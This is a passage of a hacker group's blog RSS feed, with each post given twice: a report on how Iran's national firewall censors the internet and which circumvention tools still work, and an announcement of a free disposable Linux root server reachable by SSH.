Choice&lt;/h1&gt;]]&gt;</hashnode:content><hashnode:coverImage>https://cdn.hashnode.com/res/hashnode/image/upload/v1684926176761/7cdd426e-07f0-449b-a8d6-f5d97f7a9b74.jpeg</hashnode:coverImage></item><item><title><![CDATA[The Iran Firewall - A preliminary report]]></title><description><![CDATA[The Internet is easily censored. The neo-liberal's got their arses kicked. The big players like Google/Apple/AWS are partly to blame. China runs the GFI.]]></description><link>https://blog.thc.org/the-iran-firewall-a-preliminary-report</link><guid isPermaLink="true">https://blog.thc.org/the-iran-firewall-a-preliminary-report</guid><category><![CDATA[iran]]></category><category><![CDATA[proxy]]></category><category><![CDATA[freedom]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Fri, 28 Oct 2022 12:45:11 GMT</pubDate><content:encoded>&lt;![CDATA[&lt;p&gt;I got sidetracked for the last 3 days to assess the Great Firewall of Iran (GFI).&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;TL;DR&lt;br /&gt;The Internet is easily censored. The neo-liberals got their arses kicked. The big players like Google/Apple/AWS are partly to blame. China runs the GFI as a service.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The GFI uses Deep Packet Inspection (DPI) on all international peering points. In addition, the local operators (telco &amp;amp; DSL) use their own Firewall but most of them are static and badly configured. Some use DPI.&lt;/p&gt;&lt;p&gt;The GFI is port number agnostic and changing the port number of a service will not yield success.&lt;/p&gt;&lt;p&gt;The GFI consists of three parts:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;All blacklisted domains resolve to 10.0.34.35&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;An active component constantly scans Iran&apos;s internal network for &apos;hostile&apos; services (like open Socks5 proxies).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;IP addresses are rarely fully blocked. Instead, the TCP 3-way handshake won&apos;t complete (the syn-ack is dropped).&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The GFI seems to operate differently almost every day - from severe disruption to barely any disruption.&lt;/p&gt;&lt;p&gt;The most severe disruption is when the regime turns off all cell towers and all local Internet. They just pull the plug and it&apos;s game over for any neo-liberal smart-arse that thinks V2ray/Tor/Shadowsocks is the solution.&lt;/p&gt;&lt;p&gt;All Free Internet is blocked from all Mobile Phones and some DSL connections between 4pm and 12pm (it&apos;s OFF). During these hours only VPSs inside of Iran can (sometimes) access the Free Internet. Volunteers are running V2Ray/Shadowsocks/etc relays on VPSs inside of Iran to reach the Free Internet. Those relays last hours or a few days before getting blocked by the GFI (The VPS provider is legally obligated to shut them down thereafter).&lt;/p&gt;&lt;p&gt;At the moment the Free Internet is mostly only accessible to geeks and those who can tunnel out using various protocols and tricks.&lt;/p&gt;&lt;p&gt;The worst affected are the ordinary citizens. The GFI blocks them effectively. Many people (and mostly women) depend on the Free Internet for work. The illegal regime of Iran uses the GFI as a form of blackmail - to run them out of money (and by that out of their independency).&lt;/p&gt;&lt;p&gt;On bad days:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Tor is blocked (since day 1).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Wireguard/OpenVpn is blocked (since day 1)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;V2ray/Vmess/Shadowsocks/... are either permanently blocked or blocked as soon as the IP Address of the EXIT node becomes known.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The DPI blocks on TLS&apos;s cleartext SNI.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any outbound traffic is blocked after 1k-4k is transmitted upstream.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any website that offers VPN solutions is blocked (ProtonVPN, Mullvad, NordVPN, ..). Those who already had the software before the GFI can not use the software (most apps require to register an account or make an API call to a WebRTC - which is blocked).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cloudflare is blocked (including DoH/DoT/DoQ).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Docker is sometimes blocked.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Google Play and App Store are blocked.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Some operators use a whitelist and block all other websites.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The most blocking local operator is IR-MCI (aka HamrahAvval). They seem to be regime lovers.&lt;/p&gt;&lt;p&gt;The users of Iran can not get to the software that would help them to circumvent the GFI. This is mostly a failing of Google/Apple and the big players: It is no longer (easily) possible to copy software from one device to another (or when the network is down).&lt;/p&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://github.com/hackerschoice/iran-ssh-proxy/wiki/China-probes-on-Iran-VPS-after-GFI-piercing&quot;&gt;China is involved&lt;/a&gt;. Connecting to any random port number from the outside world on any server inside of Iran (passing the GFI) is almost always followed by a port probe on &lt;em&gt;that specific port&lt;/em&gt; from an IP address belonging to China.&lt;/p&gt;&lt;p&gt;The filtering on TLS by SNI is embarrassing. TLS is not secure until the SNI is encrypted. I was there at the IETF-88 (9 years ago) and part of the TLS-Working group when Eric Rescorla famously said that encrypted SNI is no priority and that the big players like Google/Apple/Facebook/AWS all want speed (lower RTT) over security. We &lt;a target=&quot;_blank&quot; href=&quot;https://mailarchive.ietf.org/arch/msg/tls/fkIt8X2XZB7RAauV3ujChoWlJWQ/&quot;&gt;tried hard to convince the players&lt;/a&gt; but got shut down.&lt;/p&gt;&lt;p&gt;The GFI extends to SMS and OTP. The users (if they get Internet) can not log in to their accounts or sign up for new services (WhatsApp/Signal/VPN/..): Many services rely on 2FA by SMS/OTP. Those SMS/OTP messages are dropped by the Mobile Operators. 2FA becomes a DoS. Checkmate.&lt;/p&gt;&lt;p&gt;Recommendation:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The big players (Google/Apple) should implement a feature that allows users to share apps with friends (via Bluetooth) when the network is down.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;VPN Providers should make their apps work when above mentioned restrictions are in place.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A mesh-like networking method is needed (using local wifi or Bluetooth) when the main network goes down.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Encrypted SNI needs to happen without fallback to non-encrypted SNI.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Exemption from sanctions to get Starlink and other equipment into the country and a transport method (Customs and Border Control seizes shipments. Donkeys and smugglers are at their capacity limit and not reliable enough).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&quot;How to stage a rebellion effectively&quot; should be part of the school&apos;s syllabus. In the decades to come the knowledge to rebel against oppression and tyranny will be more useful to our children than knowing about Nietzsche or why Bonobo Apes are so happy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Does China breach sanctions by providing the GFI as a service?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Iran signed the &lt;a target=&quot;_blank&quot; href=&quot;https://www.un.org/en/about-us/universal-declaration-of-human-rights&quot;&gt;Universal Declaration of Human Rights&lt;/a&gt;. May the UN comment on why Iran is allowed to disregard it and what that means for the integrity of the UN if members can pick and choose at will.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1666960222617/LGiX1EeUo.png&quot; alt=&quot;Screenshot 2022-10-28 at 13.29.35.png&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Thank you to all the courageous people of Iran who provided me with access to various servers and DSL systems. You are the true heroes.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Stay safe and read our &lt;a target=&quot;_blank&quot; href=&quot;https://hackerschoice.medium.com/it-security-and-privacy-for-the-rebellions-of-the-world-db4023cadcca&quot;&gt;IT Security and Privacy for the rebellions around the world&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;s&gt;THC operates a variety of EXIT nodes and Proxy Services in Iran. &lt;/s&gt; We need help. Join us on &lt;a target=&quot;_blank&quot; href=&quot;https://t.me/+tIblf9hhvBAwOGNk&quot;&gt;Telegram&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Addition: After writing this article I got asked about the most reliable way to circumvent the GFI. &lt;s&gt;A relay host inside of Iran is needed (Iran-Relay) and an EXIT node outside of Iran (EU-EXIT). The Iran-User and the EU-EXIT node both need to connect TO the Iran-Relay (connecting from the Iran-Relay TO EU-EXIT is sometimes blocked). Iran-User and EU-EXIT &quot;meet&quot; at the Iran-Relay. Iran-User TO Iran-Relay traffic needs to be obfuscated (V2ray/Shadowsocks/ssh is effective). EU-EXIT to Iran-Relay needs to be less obfuscate (SSH works just fine). No software needs to run on the Iran-Relay to give Iran-Relay admin plausible deniability. No IP must be logged. &lt;/s&gt; &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/hackerschoice/iran-ssh-proxy&quot;&gt;&lt;s&gt;This is the setup that THC is providing&lt;/s&gt;&lt;/a&gt;&lt;s&gt;.&lt;/s&gt;&lt;/p&gt;&lt;p&gt;&lt;s&gt;The most widely adopted solution however is a V2Ray/Shadowsock connection from Iran-User to the Iran-Relay and the iptables DNAT to EU-EXIT - It seems to work most (but not all) of the times.&lt;/s&gt;&lt;/p&gt;&lt;p&gt;The most widely adopted solution is XTLS/Trojan gRPC.&lt;/p&gt;&lt;p&gt;There are many Firewalls at play with the main one being at the international junction point doing DPI.&lt;/p&gt;&lt;p&gt;Domain Fronting and SNI faking are not reliable. It may work for a few days until the Freedom-IP is blacklisted. The GFI has now almost fully transitioned to a &apos;whitelisting&apos; model where everything is blocked or throttled to 0-10Mbit unless the flow is to a whitelisted SNI on a whitelisted IP. Running your own Exit Node in Freedom only works for 1-3 weeks on average until the IP (or entire AS) gets blacklisted or throttled.&lt;/p&gt;]]&gt;</content:encoded><hashnode:content>&lt;![CDATA[&lt;p&gt;I got sidetracked for the last 3 days to assess the Great Firewall of Iran (GFI).&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;TL;DR&lt;br /&gt;The Internet is easily censored. The neo-liberals got their arses kicked. The big players like Google/Apple/AWS are partly to blame. China runs the GFI as a service.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The GFI uses Deep Packet Inspection (DPI) on all international peering points. In addition, the local operators (telco &amp;amp; DSL) use their own Firewall but most of them are static and badly configured. Some use DPI.&lt;/p&gt;&lt;p&gt;The GFI is port number agnostic and changing the port number of a service will not yield success.&lt;/p&gt;&lt;p&gt;The GFI consists of three parts:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;All blacklisted domains resolve to 10.0.34.35&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;An active component constantly scans Iran&apos;s internal network for &apos;hostile&apos; services (like open Socks5 proxies).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;IP addresses are rarely fully blocked. Instead, the TCP 3-way handshake won&apos;t complete (the syn-ack is dropped).&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The GFI seems to operate differently almost every day - from severe disruption to barely any disruption.&lt;/p&gt;&lt;p&gt;The most severe disruption is when the regime turns off all cell towers and all local Internet. They just pull the plug and it&apos;s game over for any neo-liberal smart-arse that thinks V2ray/Tor/Shadowsocks is the solution.&lt;/p&gt;&lt;p&gt;All Free Internet is blocked from all Mobile Phones and some DSL connections between 4pm and 12pm (it&apos;s OFF). During these hours only VPSs inside of Iran can (sometimes) access the Free Internet. Volunteers are running V2Ray/Shadowsocks/etc relays on VPSs inside of Iran to reach the Free Internet. Those relays last hours or a few days before getting blocked by the GFI (The VPS provider is legally obligated to shut them down thereafter).&lt;/p&gt;&lt;p&gt;At the moment the Free Internet is mostly only accessible to geeks and those who can tunnel out using various protocols and tricks.&lt;/p&gt;&lt;p&gt;The worst affected are the ordinary citizens. The GFI blocks them effectively. Many people (and mostly women) depend on the Free Internet for work. The illegal regime of Iran uses the GFI as a form of blackmail - to run them out of money (and by that out of their independency).&lt;/p&gt;&lt;p&gt;On bad days:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Tor is blocked (since day 1).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Wireguard/OpenVpn is blocked (since day 1)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;V2ray/Vmess/Shadowsocks/... are either permanently blocked or blocked as soon as the IP Address of the EXIT node becomes known.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The DPI blocks on TLS&apos;s cleartext SNI.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any outbound traffic is blocked after 1k-4k is transmitted upstream.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any website that offers VPN solutions is blocked (ProtonVPN, Mullvad, NordVPN, ..). Those who already had the software before the GFI can not use the software (most apps require to register an account or make an API call to a WebRTC - which is blocked).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cloudflare is blocked (including DoH/DoT/DoQ).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Docker is sometimes blocked.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Google Play and App Store are blocked.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Some operators use a whitelist and block all other websites.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The most blocking local operator is IR-MCI (aka HamrahAvval). They seem to be regime lovers.&lt;/p&gt;&lt;p&gt;The users of Iran can not get to the software that would help them to circumvent the GFI. This is mostly a failing of Google/Apple and the big players: It is no longer (easily) possible to copy software from one device to another (or when the network is down).&lt;/p&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://github.com/hackerschoice/iran-ssh-proxy/wiki/China-probes-on-Iran-VPS-after-GFI-piercing&quot;&gt;China is involved&lt;/a&gt;. Connecting to any random port number from the outside world on any server inside of Iran (passing the GFI) is almost always followed by a port probe on &lt;em&gt;that specific port&lt;/em&gt; from an IP address belonging to China.&lt;/p&gt;&lt;p&gt;The filtering on TLS by SNI is embarrassing. TLS is not secure until the SNI is encrypted. I was there at the IETF-88 (9 years ago) and part of the TLS-Working group when Eric Rescorla famously said that encrypted SNI is no priority and that the big players like Google/Apple/Facebook/AWS all want speed (lower RTT) over security. We &lt;a target=&quot;_blank&quot; href=&quot;https://mailarchive.ietf.org/arch/msg/tls/fkIt8X2XZB7RAauV3ujChoWlJWQ/&quot;&gt;tried hard to convince the players&lt;/a&gt; but got shut down.&lt;/p&gt;&lt;p&gt;The GFI extends to SMS and OTP. The users (if they get Internet) can not log in to their accounts or sign up for new services (WhatsApp/Signal/VPN/..): Many services rely on 2FA by SMS/OTP. Those SMS/OTP messages are dropped by the Mobile Operators. 2FA becomes a DoS. Checkmate.&lt;/p&gt;&lt;p&gt;Recommendation:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The big players (Google/Apple) should implement a feature that allows users to share apps with friends (via Bluetooth) when the network is down.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;VPN Providers should make their apps work when above mentioned restrictions are in place.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A mesh-like networking method is needed (using local wifi or Bluetooth) when the main network goes down.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Encrypted SNI needs to happen without fallback to non-encrypted SNI.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Exemption from sanctions to get Starlink and other equipment into the country and a transport method (Customs and Border Control seizes shipments. Donkeys and smugglers are at their capacity limit and not reliable enough).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&quot;How to stage a rebellion effectively&quot; should be part of the school&apos;s syllabus. In the decades to come the knowledge to rebel against oppression and tyranny will be more useful to our children than knowing about Nietzsche or why Bonobo Apes are so happy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Does China breach sanctions by providing the GFI as a service?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Iran signed the &lt;a target=&quot;_blank&quot; href=&quot;https://www.un.org/en/about-us/universal-declaration-of-human-rights&quot;&gt;Universal Declaration of Human Rights&lt;/a&gt;. May the UN comment on why Iran is allowed to disregard it and what that means for the integrity of the UN if members can pick and choose at will.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1666960222617/LGiX1EeUo.png&quot; alt=&quot;Screenshot 2022-10-28 at 13.29.35.png&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Thank you to all the courageous people of Iran who provided me with access to various servers and DSL systems. You are the true heroes.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Stay safe and read our &lt;a target=&quot;_blank&quot; href=&quot;https://hackerschoice.medium.com/it-security-and-privacy-for-the-rebellions-of-the-world-db4023cadcca&quot;&gt;IT Security and Privacy for the rebellions around the world&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;s&gt;THC operates a variety of EXIT nodes and Proxy Services in Iran. &lt;/s&gt; We need help. Join us on &lt;a target=&quot;_blank&quot; href=&quot;https://t.me/+tIblf9hhvBAwOGNk&quot;&gt;Telegram&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Addition: After writing this article I got asked about the most reliable way to circumvent the GFI. &lt;s&gt;A relay host inside of Iran is needed (Iran-Relay) and an EXIT node outside of Iran (EU-EXIT). The Iran-User and the EU-EXIT node both need to connect TO the Iran-Relay (connecting from the Iran-Relay TO EU-EXIT is sometimes blocked). Iran-User and EU-EXIT &quot;meet&quot; at the Iran-Relay. Iran-User TO Iran-Relay traffic needs to be obfuscated (V2ray/Shadowsocks/ssh is effective). EU-EXIT to Iran-Relay needs to be less obfuscate (SSH works just fine). No software needs to run on the Iran-Relay to give Iran-Relay admin plausible deniability. No IP must be logged. &lt;/s&gt; &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/hackerschoice/iran-ssh-proxy&quot;&gt;&lt;s&gt;This is the setup that THC is providing&lt;/s&gt;&lt;/a&gt;&lt;s&gt;.&lt;/s&gt;&lt;/p&gt;&lt;p&gt;&lt;s&gt;The most widely adopted solution however is a V2Ray/Shadowsock connection from Iran-User to the Iran-Relay and the iptables DNAT to EU-EXIT - It seems to work most (but not all) of the times.&lt;/s&gt;&lt;/p&gt;&lt;p&gt;The most widely adopted solution is XTLS/Trojan gRPC.&lt;/p&gt;&lt;p&gt;There are many Firewalls at play with the main one being at the international junction point doing DPI.&lt;/p&gt;&lt;p&gt;Domain Fronting and SNI faking are not reliable. It may work for a few days until the Freedom-IP is blacklisted. The GFI has now almost fully transitioned to a &apos;whitelisting&apos; model where everything is blocked or throttled to 0-10Mbit unless the flow is to a whitelisted SNI on a whitelisted IP. Running your own Exit Node in Freedom only works for 1-3 weeks on average until the IP (or entire AS) gets blacklisted or throttled.&lt;/p&gt;]]&gt;</hashnode:content></item><item><title><![CDATA[Disposable Root Servers]]></title><description><![CDATA[We love to research, explore, play and tinker. This journey almost always starts on a Linux Root Shell. Let this be the start of your journey. Use SSH and connect:
ssh root@segfault.net # Password is 'segfault'

Every SSH connection spawns a new Root...]]></description><link>https://blog.thc.org/disposable-root-servers</link><guid isPermaLink="true">https://blog.thc.org/disposable-root-servers</guid><category><![CDATA[Linux]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Fri, 14 Oct 2022 08:57:08 GMT</pubDate><content:encoded>&lt;![CDATA[&lt;p&gt;We love to research, explore, play and tinker. This journey almost always starts on a Linux Root Shell. Let this be the start of your journey. Use SSH and connect:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;ssh root@segfault.net &lt;span class=&quot;hljs-comment&quot;&gt;# Password is &apos;segfault&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Every SSH connection spawns a new Root Server for you to use. Check out the &lt;a target=&quot;_blank&quot; href=&quot;https://www.thc.org/segfault&quot;&gt;release page&lt;/a&gt; for more information and what you can do with it.&lt;/p&gt;&lt;p&gt;It allows anyone to use a &lt;em&gt;disposable linux root server&lt;/em&gt;. The Server only exists while you are logged in. It self-destructs after log out. It comes with many many features. Here are just a few:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Encrypted&lt;/strong&gt; Filesystem (only you know the password to unlock it).&lt;/li&gt;&lt;li&gt;Over &lt;strong&gt;8GB&lt;/strong&gt; of the finest hacking/coding tools pre-installed.&lt;/li&gt;&lt;li&gt;Outbound traffic is routed via a selection of constantly &lt;strong&gt;rotating VPN peers&lt;/strong&gt;.&lt;/li&gt;&lt;li&gt;Encrypted DNS.&lt;/li&gt;&lt;li&gt;Reverse &lt;strong&gt;Port Forwards&lt;/strong&gt; (forget ngrok. This is free &amp;amp; better).&lt;/li&gt;&lt;li&gt;Your server will &lt;strong&gt;self-destruct&lt;/strong&gt; on log out (and all data &amp;amp; traces will get wiped).&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;heading-mission&quot;&gt;Mission&lt;/h2&gt;&lt;p&gt;This is for hackers and coders who like to experiment on a fresh and clean Linux Server that is safely connected to the Internet. It shall be used for good purposes only.&lt;/p&gt;&lt;p&gt;As hackers&lt;sup id=&quot;1&quot;&gt;&lt;a class=&quot;post-section-overview&quot; href=&quot;#hackers&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, we have no interest in money or financial gains. We do not care if our research is liked or disliked, used or discarded. We are here for the journey. To learn and to push the limits and seek the unknown. We research for the sake of researching.&lt;/p&gt;&lt;p&gt;This is a free service. THC asks for nothing in return but encourages you to &lt;a target=&quot;_blank&quot; href=&quot;https://t.me/thcorg&quot;&gt;join our Telegram Channel&lt;/a&gt;. Take part in the discussions, share your knowledge and ask your questions.&lt;/p&gt;&lt;h2 id=&quot;heading-history&quot;&gt;History&lt;/h2&gt;&lt;p&gt;This is the resurrection of our 1997 &apos;segfault.net&apos; root server. The server of &apos;97 served as a stepping stone for many hackers, coders and researchers. It&apos;s where we hosted &lt;a target=&quot;_blank&quot; href=&quot;https://www.phrack.org&quot;&gt;phrack&lt;/a&gt;, &lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/TESO_\(Austrian_hacker_group\)&quot;&gt;Team Teso&lt;/a&gt;, HERT, &lt;a target=&quot;_blank&quot; href=&quot;https://hitb.org/&quot;&gt;Hack in the Box&lt;/a&gt;, the first encrypted IRC network and many others.&lt;/p&gt;&lt;p&gt;I &lt;a target=&quot;_blank&quot; href=&quot;http://www.phrack.org/issues/70/14.html&quot;&gt;shut it down in 2019&lt;/a&gt;. Now it&apos;s back.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Better, faster, more secure and as a cloud service - for anyone to enjoy.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2 id=&quot;heading-is-it-safe&quot;&gt;Is it safe?&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Nobody ever got arrested for choosing &lt;a target=&quot;_blank&quot; href=&quot;https://www.thc.org/segfault&quot;&gt;segfault.net&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;hr /&gt;&lt;ol&gt;&lt;li&gt;&lt;span id=&quot;hackers&quot;&gt;&lt;/span&gt; Do not confuse hackers with criminals. Somebody who uses hacking techniques to commit a crime is not a hacker. He is a criminal. The same way that somebody who uses an axe to murder is not a lumberjack. Criminals disgust us.&lt;/li&gt;&lt;/ol&gt;&lt;hr /&gt;]]&gt;</content:encoded><hashnode:content>&lt;![CDATA[&lt;p&gt;We love to research, explore, play and tinker. This journey almost always starts on a Linux Root Shell. Let this be the start of your journey. Use SSH and connect:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;ssh root@segfault.net &lt;span class=&quot;hljs-comment&quot;&gt;# Password is &apos;segfault&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Every SSH connection spawns a new Root Server for you to use. Check out the &lt;a target=&quot;_blank&quot; href=&quot;https://www.thc.org/segfault&quot;&gt;release page&lt;/a&gt; for more information and what you can do with it.&lt;/p&gt;&lt;p&gt;It allows anyone to use a &lt;em&gt;disposable linux root server&lt;/em&gt;. The Server only exists while you are logged in. It self-destructs after log out. It comes with many many features. Here are just a few:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Encrypted&lt;/strong&gt; Filesystem (only you know the password to unlock it).&lt;/li&gt;&lt;li&gt;Over &lt;strong&gt;8GB&lt;/strong&gt; of the finest hacking/coding tools pre-installed.&lt;/li&gt;&lt;li&gt;Outbound traffic is routed via a selection of constantly &lt;strong&gt;rotating VPN peers&lt;/strong&gt;.&lt;/li&gt;&lt;li&gt;Encrypted DNS.&lt;/li&gt;&lt;li&gt;Reverse &lt;strong&gt;Port Forwards&lt;/strong&gt; (forget ngrok. This is free &amp;amp; better).&lt;/li&gt;&lt;li&gt;Your server will &lt;strong&gt;self-destruct&lt;/strong&gt; on log out (and all data &amp;amp; traces will get wiped).&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;heading-mission&quot;&gt;Mission&lt;/h2&gt;&lt;p&gt;This is for hackers and coders who like to experiment on a fresh and clean Linux Server that is safely connected to the Internet. It shall be used for good purposes only.&lt;/p&gt;&lt;p&gt;As hackers&lt;sup id=&quot;1&quot;&gt;&lt;a class=&quot;post-section-overview&quot; href=&quot;#hackers&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, we have no interest in money or financial gains. We do not care if our research is liked or disliked, used or discarded. We are here for the journey. To learn and to push the limits and seek the unknown. We research for the sake of researching.&lt;/p&gt;&lt;p&gt;This is a free service. THC asks for nothing in return but encourages you to &lt;a target=&quot;_blank&quot; href=&quot;https://t.me/thcorg&quot;&gt;join our Telegram Channel&lt;/a&gt;. Take part in the discussions, share your knowledge and ask your questions.&lt;/p&gt;&lt;h2 id=&quot;heading-history&quot;&gt;History&lt;/h2&gt;&lt;p&gt;This is the resurrection of our 1997 &apos;segfault.net&apos; root server. The server of &apos;97 served as a stepping stone for many hackers, coders and researchers. It&apos;s where we hosted &lt;a target=&quot;_blank&quot; href=&quot;https://www.phrack.org&quot;&gt;phrack&lt;/a&gt;, &lt;a target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/TESO_\(Austrian_hacker_group\)&quot;&gt;Team Teso&lt;/a&gt;, HERT, &lt;a target=&quot;_blank&quot; href=&quot;https://hitb.org/&quot;&gt;Hack in the Box&lt;/a&gt;, the first encrypted IRC network and many others.&lt;/p&gt;&lt;p&gt;I &lt;a target=&quot;_blank&quot; href=&quot;http://www.phrack.org/issues/70/14.html&quot;&gt;shut it down in 2019&lt;/a&gt;. Now it&apos;s back.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Better, faster, more secure and as a cloud service - for anyone to enjoy.&lt;/p&gt;&lt;/blockquote&gt;&lt;h2 id=&quot;heading-is-it-safe&quot;&gt;Is it safe?&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Nobody ever got arrested for choosing &lt;a target=&quot;_blank&quot; href=&quot;https://www.thc.org/segfault&quot;&gt;segfault.net&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;hr /&gt;&lt;ol&gt;&lt;li&gt;&lt;span id=&quot;hackers&quot;&gt;&lt;/span&gt; Do not confuse hackers with criminals. Somebody who uses hacking techniques to commit a crime is not a hacker. He is a criminal. The same way that somebody who uses an axe to murder is not a lumberjack. Criminals disgust us.&lt;/li&gt;&lt;/ol&gt;&lt;hr /&gt;]]&gt;</hashnode:content><hashnode:coverImage>https://cdn.hashnode.com/res/hashnode/image/unsplash/4Mw7nkQDByk/upload/v1665736760629/AFYZLHfyz.jpeg</hashnode:coverImage></item></channel></rss>